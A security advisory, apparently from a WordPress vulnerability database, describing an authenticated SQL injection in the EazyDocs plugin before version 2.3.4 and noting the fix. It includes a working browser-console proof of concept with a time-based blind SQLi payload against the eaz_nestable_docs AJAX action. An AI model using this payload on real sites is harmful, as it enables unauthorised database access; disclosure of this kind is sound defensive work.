WordPress Plugin Vulnerabilities

EazyDocs < 2.3.4 - Subscriber + SQLi

Description

The plugin does not properly sanitize and escape "data" parameter before using it in an SQL statement via an AJAX action, which could allow any authenticated users, such as subscribers, to perform SQL Injection attacks.

Proof of Concept

1. Create a document then create some sections in the document
2. Log in as Subscriber
3. Paste the following script in the browser's console, and notice it hangs for 5 seconds, indicating the injection succeeded:

```
await fetch("/wp-admin/admin-ajax.php", {
    "credentials": "include",
    "headers": {
       "content-type": "application/x-www-form-urlencoded",
     },
    "body": "action=eaz_nestable_docs&data=%5b%7b%22id%22%3a%2286'and(select*from(select(sleep(5)))a)%23%22%7d%5d",
    "method": "POST",
    "mode": "cors"
});
```

Affects Plugins

Fixed in 2.3.4

References

YouTube Video

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Dao Xuan Hieu
Submitter
Dao Xuan Hieu
Verified
Yes

Timeline

Publicly Published
2023-11-20 (about 7 months ago)
Added
2023-11-20 (about 7 months ago)
Last Updated
2023-11-20 (about 7 months ago)

Other